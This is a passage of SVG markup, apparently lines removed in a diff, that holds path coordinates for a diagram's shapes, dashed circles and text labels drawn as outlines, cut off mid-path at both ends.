700.81225,216.81848 C700.978917,216.50598 701.208083,216.245563 701.49975,216.03723 C701.7185,215.870563 702.015375,215.735147 702.390375,215.63098 C702.775792,215.516397 703.182042,215.459105 703.609125,215.459105 C704.265375,215.459105 704.838292,215.552855 705.327875,215.740355 C705.817458,215.927855 706.176833,216.183063 706.406,216.50598 C706.645583,216.81848 706.81225,217.245563 706.906,217.78723 L705.531,217.97473 C705.4685,217.547647 705.286208,217.214313 704.984125,216.97473 C704.682042,216.735147 704.260167,216.615355 703.7185,216.615355 C703.072667,216.615355 702.609125,216.72473 702.327875,216.94348 C702.057042,217.151813 701.921625,217.396605 701.921625,217.677855 C701.921625,217.865355 701.978917,218.032022 702.0935,218.177855 C702.208083,218.323688 702.385167,218.448688 702.62475,218.552855 C702.770583,218.604938 703.18725,218.72473 703.87475,218.91223 C704.864333,219.172647 705.557042,219.391397 705.952875,219.56848 C706.348708,219.735147 706.656,219.979938 706.87475,220.302855 C707.103917,220.625772 707.2185,221.026813 707.2185,221.50598 C707.2185,221.97473 707.077875,222.417438 706.796625,222.834105 C706.525792,223.240355 706.129958,223.558063 705.609125,223.78723 C705.098708,224.016397 704.520583,224.13098 703.87475,224.13098 C702.791417,224.13098 701.9685,223.907022 701.406,223.459105 C700.8435,223.011188 700.484125,222.344522 700.327875,221.459105 Z M711.952875,222.677855 L712.156,223.927855 C711.760167,224.011188 711.406,224.052855 711.0935,224.052855 C710.583083,224.052855 710.18725,223.97473 709.906,223.81848 C709.62475,223.651813 709.426833,223.438272 709.31225,223.177855 C709.197667,222.907022 709.140375,222.34973 709.140375,221.50598 L709.140375,216.740355 L708.109125,216.740355 L708.109125,215.646605 L709.140375,215.646605 L709.140375,213.584105 L710.546625,212.740355 L710.546625,215.646605 L711.952875,215.646605 L711.952875,216.740355 L710.546625,216.740355 L710.546625,221.584105 C710.546625,221.990355 710.567458,222.250772 710.609125,222.365355 C710.661208,222.479938 710.744542,222.573688 710.859125,222.646605 C710.973708,222.709105 711.135167,222.740355 711.3435,222.740355 C711.49975,222.740355 711.702875,222.719522 711.952875,222.677855 Z M712.773187,221.459105 L714.163812,221.240355 C714.236729,221.802855 714.450271,222.235147 714.804437,222.53723 C715.169021,222.828897 715.669021,222.97473 716.304437,222.97473 C716.950271,222.97473 717.429437,222.844522 717.741937,222.584105 C718.054437,222.313272 718.210687,222.000772 718.210687,221.646605 C718.210687,221.334105 718.075271,221.084105 717.804437,220.896605 C717.606521,220.771605 717.127354,220.615355 716.366937,220.427855 C715.335687,220.167438 714.616937,219.94348 714.210687,219.75598 C713.814854,219.558063 713.512771,219.292438 713.304437,218.959105 C713.106521,218.625772 713.007562,218.25598 713.007562,217.84973 C713.007562,217.47473 713.090896,217.13098 713.257562,216.81848 C713.424229,216.50598 713.653396,216.245563 713.945062,216.03723 C714.163812,215.870563 714.460687,215.735147 714.835687,215.63098 C715.221104,215.516397 715.627354,215.459105 716.054437,215.459105 C716.710687,215.459105 717.283604,215.552855 717.773187,215.740355 C718.262771,215.927855 718.622146,216.183063 718.851312,216.50598 C719.090896,216.81848 719.257562,217.245563 719.351312,217.78723 L717.976312,217.97473 C717.913812,217.547647 717.731521,217.214313 717.429437,216.97473 C717.127354,216.735147 716.705479,216.615355 716.163812,216.615355 C715.517979,216.615355 715.054437,216.72473 714.773187,216.94348 C714.502354,217.151813 714.366937,217.396605 714.366937,217.677855 C714.366937,217.865355 714.424229,218.032022 714.538812,218.177855 C714.653396,218.323688 714.830479,218.448688 715.070062,218.552855 C715.215896,218.604938 715.632562,218.72473 716.320062,218.91223 C717.309646,219.172647 718.002354,219.391397 718.398187,219.56848 C718.794021,219.735147 719.101312,219.979938 719.320062,220.302855 C719.549229,220.625772 719.663812,221.026813 719.663812,221.50598 C719.663812,221.97473 719.523187,222.417438 719.241937,222.834105 C718.971104,223.240355 718.575271,223.558063 718.054437,223.78723 C717.544021,224.016397 716.965896,224.13098 716.320062,224.13098 C715.236729,224.13098 714.413812,223.907022 713.851312,223.459105 C713.288812,223.011188 712.929437,222.344522 712.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M699.42944,241.5841 L699.42944,242.943475 L691.851315,242.943475 C691.840898,242.599725 691.89819,242.2716 692.02319,241.9591 C692.21069,241.448683 692.517982,240.943475 692.945065,240.443475 C693.372148,239.943475 693.986732,239.36535 694.788815,238.7091 C696.028398,237.688267 696.86694,236.880975 697.30444,236.287225 C697.74194,235.683058 697.96069,235.11535 697.96069,234.5841 C697.96069,234.032017 697.762773,233.563267 697.36694,233.17785 C696.971107,232.792433 696.450273,232.599725 695.80444,232.599725 C695.127357,232.599725 694.58569,232.80285 694.17944,233.2091 C693.77319,233.61535 693.570065,234.17785 693.570065,234.8966 L692.11694,234.755975 C692.221107,233.672642 692.596107,232.849725 693.24194,232.287225 C693.887773,231.724725 694.752357,231.443475 695.83569,231.443475 C696.939857,231.443475 697.809648,231.750767 698.445065,232.36535 C699.090898,232.969517 699.413815,233.719517 699.413815,234.61535 C699.413815,235.073683 699.320065,235.526808 699.132565,235.974725 C698.945065,236.412225 698.632565,236.875767 698.195065,237.36535 C697.757565,237.854933 697.033607,238.526808 696.02319,239.380975 C695.17944,240.089308 694.637773,240.573683 694.39819,240.8341 C694.158607,241.0841 693.96069,241.3341 693.80444,241.5841 L699.42944,241.5841 Z M701.499752,242.943475 L701.499752,231.49035 L705.827877,231.49035 C706.588294,231.49035 707.166419,231.526808 707.562252,231.599725 C708.124752,231.693475 708.593502,231.870558 708.968502,232.130975 C709.353919,232.391392 709.661211,232.761183 709.890377,233.24035 C710.129961,233.7091 710.249752,234.229933 710.249752,234.80285 C710.249752,235.7716 709.937252,236.594517 709.312252,237.2716 C708.697669,237.948683 707.577877,238.287225 705.952877,238.287225 L703.015377,238.287225 L703.015377,242.943475 L701.499752,242.943475 Z M703.015377,236.92785 L705.984127,236.92785 C706.963294,236.92785 707.656002,236.745558 708.062252,236.380975 C708.478919,236.016392 708.687252,235.505975 708.687252,234.849725 C708.687252,234.370558 708.562252,233.9591 708.312252,233.61535 C708.072669,233.2716 707.754961,233.047642 707.359127,232.943475 C707.109127,232.870558 706.640377,232.8341 705.952877,232.8341 L703.015377,232.8341 L703.015377,236.92785 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M597.40405,213.79884 L597.40405,213.79884 C597.40405,209.992215 600.489927,206.906323 604.296567,206.906323 L654.007567,206.906323 C655.835631,206.906323 657.588744,207.632489 658.881346,208.925091 C660.173949,210.217694 660.900145,211.970837 660.900145,213.79884 L660.900145,241.368115 C660.900145,245.174756 657.814208,248.260648 654.007567,248.260648 L604.296567,248.260648 C600.489927,248.260648 597.40405,245.174756 597.40405,241.368115 L597.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M611.0935,227.13098 L611.0935,215.646605 L612.37475,215.646605 L612.37475,216.72473 C612.676833,216.297647 613.015375,215.979938 613.390375,215.771605 C613.775792,215.563272 614.239333,215.459105 614.781,215.459105 C615.489333,215.459105 616.114333,215.641397 616.656,216.00598 C617.197667,216.370563 617.603917,216.886188 617.87475,217.552855 C618.156,218.209105 618.296625,218.933063 618.296625,219.72473 C618.296625,220.578897 618.140375,221.344522 617.827875,222.021605 C617.525792,222.698688 617.083083,223.219522 616.49975,223.584105 C615.926833,223.948688 615.317458,224.13098 614.671625,224.13098 C614.202875,224.13098 613.781,224.032022 613.406,223.834105 C613.041417,223.636188 612.739333,223.386188 612.49975,223.084105 L612.49975,227.13098 L611.0935,227.13098 Z M612.359125,219.834105 C612.359125,220.907022 612.572667,221.698688 612.99975,222.209105 C613.43725,222.719522 613.963292,222.97473 614.577875,222.97473 C615.202875,222.97473 615.739333,222.709105 616.18725,222.177855 C616.635167,221.646605 616.859125,220.828897 616.859125,219.72473 C616.859125,218.66223 616.640375,217.870563 616.202875,217.34973 C615.765375,216.81848 615.244542,216.552855 614.640375,216.552855 C614.046625,216.552855 613.515375,216.834105 613.046625,217.396605 C612.588292,217.959105 612.359125,218.771605 612.359125,219.834105 Z M619.460687,219.78723 C619.460687,218.25598 619.887771,217.120563 620.741937,216.38098 C621.460687,215.766397 622.330479,215.459105 623.351312,215.459105 C624.497146,215.459105 625.429437,215.834105 626.148187,216.584105 C626.877354,217.323688 627.241937,218.354938 627.241937,219.677855 C627.241937,220.740355 627.080479,221.578897 626.757562,222.19348 C626.434646,222.808063 625.965896,223.28723 625.351312,223.63098 C624.747146,223.964313 624.080479,224.13098 623.351312,224.13098 C622.195062,224.13098 621.257562,223.761188 620.538812,223.021605 C619.820062,222.271605 619.460687,221.19348 619.460687,219.78723 Z M620.913812,219.78723 C620.913812,220.84973 621.142979,221.646605 621.601312,222.177855 C622.070062,222.709105 622.653396,222.97473 623.351312,222.97473 C624.049229,222.97473 624.627354,222.709105 625.085687,222.177855 C625.554437,221.646605 625.788812,220.834105 625.788812,219.740355 C625.788812,218.719522 625.554437,217.94348 625.085687,217.41223 C624.627354,216.88098 624.049229,216.615355 623.351312,216.615355 C622.653396,216.615355 622.070062,216.88098 621.601312,217.41223 C621.142979,217.933063 620.913812,218.72473 620.913812,219.78723 Z M628.327875,221.459105 L629.7185,221.240355 C629.791417,221.802855 630.004958,222.235147 630.359125,222.53723 C630.723708,222.828897 631.223708,222.97473 631.859125,222.97473 C632.504958,222.97473 632.984125,222.844522 633.296625,222.584105 C633.609125,222.313272 633.765375,222.000772 633.765375,221.646605 C633.765375,221.334105 633.629958,221.084105 633.359125,220.896605 C633.161208,220.771605 632.682042,220.615355 631.921625,220.427855 C630.890375,220.167438 630.171625,219.94348 629.765375,219.75598 C629.369542,219.558063 629.067458,219.292438 628.859125,218.959105 C628.661208,218.625772 628.56225,218.25598 628.56225,217.84973 C628.56225,217.47473 628.645583,217.13098 628.81225,216.81848 C628.978917,216.50598 629.208083,216.245563 629.49975,216.03723 C629.7185,215.870563 630.015375,215.735147 630.390375,215.63098 C630.775792,215.516397 631.182042,215.459105 631.609125,215.459105 C632.265375,215.459105 632.838292,215.552855 633.327875,215.740355 C633.817458,215.927855 634.176833,216.183063 634.406,216.50598 C634.645583,216.81848 634.81225,217.245563 634.906,217.78723 L633.531,217.97473 C633.4685,217.547647 633.286208,217.214313 632.984125,216.97473 C632.682042,216.735147 632.260167,216.615355 631.7185,216.615355 C631.072667,216.615355 630.609125,216.72473 630.327875,216.94348 C630.057042,217.151813 629.921625,217.396605 629.921625,217.677855 C629.921625,217.865355 629.978917,218.032022 630.0935,218.177855 C630.208083,218.323688 630.385167,218.448688 630.62475,218.552855 C630.770583,218.604938 631.18725,218.72473 631.87475,218.91223 C632.864333,219.172647 633.557042,219.391397 633.952875,219.56848 C634.348708,219.735147 634.656,219.979938 634.87475,220.302855 C635.103917,220.625772 635.2185,221.026813 635.2185,221.50598 C635.2185,221.97473 635.077875,222.417438 634.796625,222.834105 C634.525792,223.240355 634.129958,223.558063 633.609125,223.78723 C633.098708,224.016397 632.520583,224.13098 631.87475,224.13098 C630.791417,224.13098 629.9685,223.907022 629.406,223.459105 C628.8435,223.011188 628.484125,222.344522 628.327875,221.459105 Z M639.952875,222.677855 L640.156,223.927855 C639.760167,224.011188 639.406,224.052855 639.0935,224.052855 C638.583083,224.052855 638.18725,223.97473 637.906,223.81848 C637.62475,223.651813 637.426833,223.438272 637.31225,223.177855 C637.197667,222.907022 637.140375,222.34973 637.140375,221.50598 L637.140375,216.740355 L636.109125,216.740355 L636.109125,215.646605 L637.140375,215.646605 L637.140375,213.584105 L638.546625,212.740355 L638.546625,215.646605 L639.952875,215.646605 L639.952875,216.740355 L638.546625,216.740355 L638.546625,221.584105 C638.546625,221.990355 638.567458,222.250772 638.609125,222.365355 C638.661208,222.479938 638.744542,222.573688 638.859125,222.646605 C638.973708,222.709105 639.135167,222.740355 639.3435,222.740355 C639.49975,222.740355 639.702875,222.719522 639.952875,222.677855 Z M640.773187,221.459105 L642.163812,221.240355 C642.236729,221.802855 642.450271,222.235147 642.804437,222.53723 C643.169021,222.828897 643.669021,222.97473 644.304437,222.97473 C644.950271,222.97473 645.429437,222.844522 645.741937,222.584105 C646.054437,222.313272 646.210687,222.000772 646.210687,221.646605 C646.210687,221.334105 646.075271,221.084105 645.804437,220.896605 C645.606521,220.771605 645.127354,220.615355 644.366937,220.427855 C643.335687,220.167438 642.616937,219.94348 642.210687,219.75598 C641.814854,219.558063 641.512771,219.292438 641.304437,218.959105 C641.106521,218.625772 641.007562,218.25598 641.007562,217.84973 C641.007562,217.47473 641.090896,217.13098 641.257562,216.81848 C641.424229,216.50598 641.653396,216.245563 641.945062,216.03723 C642.163812,215.870563 642.460687,215.735147 642.835687,215.63098 C643.221104,215.516397 643.627354,215.459105 644.054437,215.459105 C644.710687,215.459105 645.283604,215.552855 645.773187,215.740355 C646.262771,215.927855 646.622146,216.183063 646.851312,216.50598 C647.090896,216.81848 647.257562,217.245563 647.351312,217.78723 L645.976312,217.97473 C645.913812,217.547647 645.731521,217.214313 645.429437,216.97473 C645.127354,216.735147 644.705479,216.615355 644.163812,216.615355 C643.517979,216.615355 643.054437,216.72473 642.773187,216.94348 C642.502354,217.151813 642.366937,217.396605 642.366937,217.677855 C642.366937,217.865355 642.424229,218.032022 642.538812,218.177855 C642.653396,218.323688 642.830479,218.448688 643.070062,218.552855 C643.215896,218.604938 643.632562,218.72473 644.320062,218.91223 C645.309646,219.172647 646.002354,219.391397 646.398187,219.56848 C646.794021,219.735147 647.101312,219.979938 647.320062,220.302855 C647.549229,220.625772 647.663812,221.026813 647.663812,221.50598 C647.663812,221.97473 647.523187,222.417438 647.241937,222.834105 C646.971104,223.240355 646.575271,223.558063 646.054437,223.78723 C645.544021,224.016397 644.965896,224.13098 644.320062,224.13098 C643.236729,224.13098 642.413812,223.907022 641.851312,223.459105 C641.288812,223.011188 640.929437,222.344522 640.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M625.3357,242.94348 L623.92945,242.94348 L623.92945,233.97473 C623.5857,234.297647 623.137783,234.620563 622.5857,234.94348 C622.044033,235.266397 621.55445,235.511188 621.11695,235.677855 L621.11695,234.31848 C621.8982,233.94348 622.580492,233.495563 623.163825,232.97473 C623.757575,232.44348 624.17945,231.933063 624.42945,231.44348 L625.3357,231.44348 L625.3357,242.94348 Z M629.499762,242.94348 L629.499762,231.490355 L633.827887,231.490355 C634.588304,231.490355 635.166429,231.526813 635.562262,231.59973 C636.124762,231.69348 636.593512,231.870563 636.968512,232.13098 C637.353929,232.391397 637.661221,232.761188 637.890387,233.240355 C638.129971,233.709105 638.249762,234.229938 638.249762,234.802855 C638.249762,235.771605 637.937262,236.594522 637.312262,237.271605 C636.697679,237.948688 635.577887,238.28723 633.952887,238.28723 L631.015387,238.28723 L631.015387,242.94348 L629.499762,242.94348 Z M631.015387,236.927855 L633.984137,236.927855 C634.963304,236.927855 635.656012,236.745563 636.062262,236.38098 C636.478929,236.016397 636.687262,235.50598 636.687262,234.84973 C636.687262,234.370563 636.562262,233.959105 636.312262,233.615355 C636.072679,233.271605 635.754971,233.047647 635.359137,232.94348 C635.109137,232.870563 634.640387,232.834105 633.952887,232.834105 L631.015387,232.834105 L631.015387,236.927855 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,565.4159 C657.397257,565.926317 656.808715,566.2909 656.246215,566.50965 C655.694132,566.717983 655.095173,566.82215 654.44934,566.82215 C653.38684,566.82215 652.569132,566.561733 651.996215,566.0409 C651.423298,565.520067 651.13684,564.858608 651.13684,564.056525 C651.13684,563.577358 651.246215,563.145067 651.464965,562.75965 C651.683715,562.363817 651.964965,562.051317 652.308715,561.82215 C652.662882,561.582567 653.058715,561.400275 653.496215,561.275275 C653.808715,561.191942 654.29309,561.108608 654.94934,561.025275 C656.272257,560.869025 657.246215,560.681525 657.871215,560.462775 C657.881632,560.233608 657.88684,560.092983 657.88684,560.0409 C657.88684,559.374233 657.73059,558.900275 657.41809,558.619025 C657.001423,558.254442 656.376423,558.07215 655.54309,558.07215 C654.772257,558.07215 654.204548,558.207567 653.839965,558.4784 C653.475382,558.749233 653.204548,559.223192 653.027465,559.900275 L651.41809,559.681525 C651.563923,559.004442 651.803507,558.457567 652.13684,558.0409 C652.470173,557.613817 652.954548,557.285692 653.589965,557.056525 C654.225382,556.827358 654.954548,556.712775 655.777465,556.712775 C656.610798,556.712775 657.282673,556.811733 657.79309,557.00965 C658.313923,557.19715 658.694132,557.441942 658.933715,557.744025 C659.183715,558.035692 659.35559,558.405483 659.44934,558.8534 C659.501423,559.13465 659.527465,559.639858 659.527465,560.369025 L659.527465,562.556525 C659.527465,564.077358 659.563923,565.0409 659.63684,565.44715 C659.709757,565.842983 659.845173,566.2284 660.04309,566.6034 L658.339965,566.6034 C658.162882,566.25965 658.053507,565.863817 658.01184,565.4159 Z M657.871215,561.744025 C657.277465,561.994025 656.38684,562.202358 655.19934,562.369025 C654.522257,562.462775 654.04309,562.57215 653.76184,562.69715 C653.48059,562.82215 653.26184,562.999233 653.10559,563.2284 C652.959757,563.457567 652.88684,563.717983 652.88684,564.00965 C652.88684,564.44715 653.053507,564.811733 653.38684,565.1034 C653.720173,565.395067 654.204548,565.5409 654.839965,565.5409 C655.464965,565.5409 656.022257,565.405483 656.51184,565.13465 C657.01184,564.8534 657.376423,564.473192 657.60559,563.994025 C657.782673,563.619025 657.871215,563.07215 657.871215,562.3534 L657.871215,561.744025 Z M662.075072,566.6034 L662.075072,556.931525 L663.543822,556.931525 L663.543822,558.2909 C663.845906,557.811733 664.246947,557.431525 664.746947,557.150275 C665.257364,556.858608 665.830281,556.712775 666.465697,556.712775 C667.184447,556.712775 667.772989,556.863817 668.231322,557.1659 C668.689656,557.457567 669.012572,557.869025 669.200072,558.400275 C669.970906,557.275275 670.965697,556.712775 672.184447,556.712775 C673.153197,556.712775 673.892781,556.9784 674.403197,557.50965 C674.924031,558.0409 675.184447,558.858608 675.184447,559.962775 L675.184447,566.6034 L673.543822,566.6034 L673.543822,560.50965 C673.543822,559.8534 673.491739,559.38465 673.387572,559.1034 C673.283406,558.811733 673.090697,558.577358 672.809447,558.400275 C672.528197,558.223192 672.200072,558.13465 671.825072,558.13465 C671.147989,558.13465 670.585489,558.363817 670.137572,558.82215 C669.689656,559.270067 669.465697,559.988817 669.465697,560.9784 L669.465697,566.6034 L667.825072,566.6034 L667.825072,560.32215 C667.825072,559.592983 667.689656,559.046108 667.418822,558.681525 C667.147989,558.316942 666.710489,558.13465 666.106322,558.13465 C665.647989,558.13465 665.220906,558.254442 664.825072,558.494025 C664.429239,558.733608 664.142781,559.087775 663.965697,559.556525 C663.799031,560.025275 663.715697,560.702358 663.715697,561.587775 L663.715697,566.6034 L662.075072,566.6034 Z M685.772093,565.025275 L685.772093,566.6034 L676.943968,566.6034 C676.933552,566.207567 676.996052,565.827358 677.131468,565.462775 C677.360635,564.858608 677.72001,564.264858 678.209593,563.681525 C678.709593,563.098192 679.428343,562.426317 680.365843,561.6659 C681.81376,560.4784 682.792927,559.535692 683.303343,558.837775 C683.81376,558.139858 684.068968,557.483608 684.068968,556.869025 C684.068968,556.212775 683.834593,555.6659 683.365843,555.2284 C682.90751,554.780483 682.303343,554.556525 681.553343,554.556525 C680.761677,554.556525 680.12626,554.796108 679.647093,555.275275 C679.178343,555.744025 678.943968,556.395067 678.943968,557.2284 L677.256468,557.056525 C677.371052,555.796108 677.803343,554.837775 678.553343,554.181525 C679.31376,553.525275 680.324177,553.19715 681.584593,553.19715 C682.865843,553.19715 683.881468,553.551317 684.631468,554.25965 C685.381468,554.967983 685.756468,555.848192 685.756468,556.900275 C685.756468,557.431525 685.647093,557.957567 685.428343,558.4784 C685.209593,558.999233 684.84501,559.546108 684.334593,560.119025 C683.834593,560.681525 682.990843,561.462775 681.803343,562.462775 C680.824177,563.285692 680.193968,563.848192 679.912718,564.150275 C679.631468,564.441942 679.402302,564.733608 679.225218,565.025275 L685.772093,565.025275 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="574.4228 379.9211 762.80073 379.9211 762.80073 420.36205 574.4228 420.36205"></polygon>
-                <path d="M615.70435,407.02863 C614.256433,407.02863 613.136642,406.585922 612.344975,405.700505 C611.553308,404.804672 611.157475,403.544255 611.157475,401.919255 C611.157475,400.242172 611.558517,398.950505 612.3606,398.044255 C613.1731,397.127588 614.318933,396.669255 615.7981,396.669255 C616.277267,396.669255 616.756433,396.721338 617.2356,396.825505 C617.725183,396.929672 618.105392,397.054672 618.376225,397.200505 L617.907475,398.481755 C617.574142,398.346338 617.209558,398.236963 616.813725,398.15363 C616.417892,398.05988 616.068933,398.013005 615.76685,398.013005 C613.7356,398.013005 612.719975,399.304672 612.719975,401.888005 C612.719975,403.117172 612.964767,404.05988 613.45435,404.71613 C613.95435,405.37238 614.693933,405.700505 615.6731,405.700505 C616.506433,405.700505 617.355392,405.523422 618.219975,405.169255 L618.219975,406.49738 C617.553308,406.851547 616.714767,407.02863 615.70435,407.02863 Z M622.101689,406.84113 L620.601689,406.84113 L620.601689,392.669255 L622.101689,392.669255 L622.101689,406.84113 Z M626.742314,396.856755 L626.742314,403.34113 C626.742314,404.15363 626.924606,404.763005 627.289189,405.169255 C627.664189,405.565088 628.242314,405.763005 629.023564,405.763005 C630.075647,405.763005 630.841272,405.476547 631.320439,404.90363 C631.799606,404.330713 632.039189,403.398422 632.039189,402.106755 L632.039189,396.856755 L633.554814,396.856755 L633.554814,406.84113 L632.304814,406.84113 L632.086064,405.49738 L632.007939,405.49738 C631.695439,405.99738 631.263147,406.377588 630.711064,406.638005 C630.169397,406.898422 629.544397,407.02863 628.836064,407.02863 C627.627731,407.02863 626.721481,406.742172 626.117314,406.169255 C625.513147,405.585922 625.211064,404.658838 625.211064,403.388005 L625.211064,396.856755 L626.742314,396.856755 Z M643.208562,404.12238 C643.208562,405.049463 642.859604,405.768213 642.161687,406.27863 C641.474187,406.77863 640.505437,407.02863 639.255437,407.02863 C637.93252,407.02863 636.90127,406.815088 636.161687,406.388005 L636.161687,404.99738 C636.640854,405.236963 637.15127,405.429672 637.692937,405.575505 C638.24502,405.710922 638.77627,405.77863 639.286687,405.77863 C640.078354,405.77863 640.687729,405.65363 641.114812,405.40363 C641.541895,405.143213 641.755437,404.757797 641.755437,404.24738 C641.755437,403.861963 641.583562,403.52863 641.239812,403.24738 C640.906479,402.96613 640.250229,402.638005 639.271062,402.263005 C638.343979,401.919255 637.68252,401.62238 637.286687,401.37238 C636.90127,401.111963 636.609604,400.820297 636.411687,400.49738 C636.224187,400.164047 636.130437,399.768213 636.130437,399.30988 C636.130437,398.49738 636.458562,397.856755 637.114812,397.388005 C637.781479,396.908838 638.692937,396.669255 639.849187,396.669255 C640.922104,396.669255 641.968979,396.888005 642.989812,397.325505 L642.458562,398.55988 C641.458562,398.143213 640.552312,397.93488 639.739812,397.93488 C639.021062,397.93488 638.479395,398.049463 638.114812,398.27863 C637.750229,398.507797 637.567937,398.815088 637.567937,399.200505 C637.567937,399.471338 637.635645,399.700505 637.771062,399.888005 C637.906479,400.075505 638.125229,400.257797 638.427312,400.43488 C638.729395,400.601547 639.312729,400.846338 640.177312,401.169255 C641.364812,401.596338 642.166895,402.02863 642.583562,402.46613 C643.000229,402.90363 643.208562,403.455713 643.208562,404.12238 Z M648.889775,405.77863 C649.160609,405.77863 649.415817,405.757797 649.6554,405.71613 C649.9054,405.674463 650.103317,405.632797 650.24915,405.59113 L650.24915,406.74738 C650.0929,406.830713 649.853317,406.898422 649.5304,406.950505 C649.207484,407.002588 648.921025,407.02863 648.671025,407.02863 C646.743942,407.02863 645.7804,406.007797 645.7804,403.96613 L645.7804,398.02863 L644.3429,398.02863 L644.3429,397.30988 L645.7804,396.669255 L646.4054,394.544255 L647.2804,394.544255 L647.2804,396.856755 L650.18665,396.856755 L650.18665,398.02863 L647.2804,398.02863 L647.2804,403.90363 C647.2804,404.507797 647.421025,404.971338 647.702275,405.294255 C647.993942,405.617172 648.389775,405.77863 648.889775,405.77863 Z M656.475957,407.02863 C654.99679,407.02863 653.830124,406.580713 652.975957,405.68488 C652.12179,404.77863 651.694707,403.52863 651.694707,401.93488 C651.694707,400.320297 652.09054,399.039047 652.882207,398.09113 C653.673874,397.143213 654.736374,396.669255 656.069707,396.669255 C657.330124,396.669255 658.319707,397.080713 659.038457,397.90363 C659.767624,398.726547 660.132207,399.815088 660.132207,401.169255 L660.132207,402.12238 L653.257207,402.12238 C653.288457,403.299463 653.585332,404.190088 654.147832,404.794255 C654.710332,405.398422 655.501999,405.700505 656.522832,405.700505 C657.595749,405.700505 658.658249,405.476547 659.710332,405.02863 L659.710332,406.37238 C659.179082,406.601547 658.673874,406.768213 658.194707,406.87238 C657.71554,406.976547 657.142624,407.02863 656.475957,407.02863 Z M656.054082,397.93488 C655.251999,397.93488 654.611374,398.200505 654.132207,398.731755 C653.663457,399.252588 653.387415,399.971338 653.304082,400.888005 L658.522832,400.888005 C658.522832,399.940088 658.30929,399.210922 657.882207,398.700505 C657.455124,398.190088 656.845749,397.93488 656.054082,397.93488 Z M667.270879,396.669255 C667.718796,396.669255 668.114629,396.705713 668.458379,396.77863 L668.255254,398.18488 C667.838587,398.09113 667.474004,398.044255 667.161504,398.044255 C666.359421,398.044255 665.666712,398.37238 665.083379,399.02863 C664.510462,399.68488 664.224004,400.502588 664.224004,401.481755 L664.224004,406.84113 L662.724004,406.84113 L662.724004,396.856755 L663.958379,396.856755 L664.145879,398.700505 L664.208379,398.700505 C664.583379,398.054672 665.031296,397.554672 665.552129,397.200505 C666.072962,396.846338 666.645879,396.669255 667.270879,396.669255 Z M670.120794,405.87238 C670.120794,405.46613 670.209335,405.158838 670.386419,404.950505 C670.573919,404.742172 670.839544,404.638005 671.183294,404.638005 C671.53746,404.638005 671.813502,404.742172 672.011419,404.950505 C672.209335,405.158838 672.308294,405.46613 672.308294,405.87238 C672.308294,406.268213 672.209335,406.575505 672.011419,406.794255 C671.813502,407.002588 671.53746,407.106755 671.183294,407.106755 C670.88121,407.106755 670.626002,407.013005 670.417669,406.825505 C670.219752,406.627588 670.120794,406.30988 670.120794,405.87238 Z M670.120794,397.825505 C670.120794,397.013005 670.47496,396.606755 671.183294,396.606755 C671.933294,396.606755 672.308294,397.013005 672.308294,397.825505 C672.308294,398.221338 672.209335,398.52863 672.011419,398.74738 C671.813502,398.955713 671.53746,399.05988 671.183294,399.05988 C670.88121,399.05988 670.626002,398.96613 670.417669,398.77863 C670.219752,398.580713 670.120794,398.263005 670.120794,397.825505 Z M686.291144,406.84113 L685.978644,405.419255 L685.916144,405.419255 C685.416144,406.044255 684.916144,406.471338 684.416144,406.700505 C683.92656,406.919255 683.311977,407.02863 682.572394,407.02863 C681.58281,407.02863 680.806769,406.773422 680.244269,406.263005 C679.681769,405.752588 679.400519,405.023422 679.400519,404.075505 C679.400519,402.065088 681.009894,401.007797 684.228644,400.90363 L685.931769,400.856755 L685.931769,400.231755 C685.931769,399.450505 685.759894,398.87238 685.416144,398.49738 C685.08281,398.12238 684.546352,397.93488 683.806769,397.93488 C682.973435,397.93488 682.030727,398.190088 680.978644,398.700505 L680.525519,397.544255 C681.015102,397.283838 681.55156,397.080713 682.134894,396.93488 C682.718227,396.77863 683.306769,396.700505 683.900519,396.700505 C685.088019,396.700505 685.968227,396.96613 686.541144,397.49738 C687.11406,398.018213 687.400519,398.861963 687.400519,400.02863 L687.400519,406.84113 L686.291144,406.84113 Z M682.869269,405.77863 C683.806769,405.77863 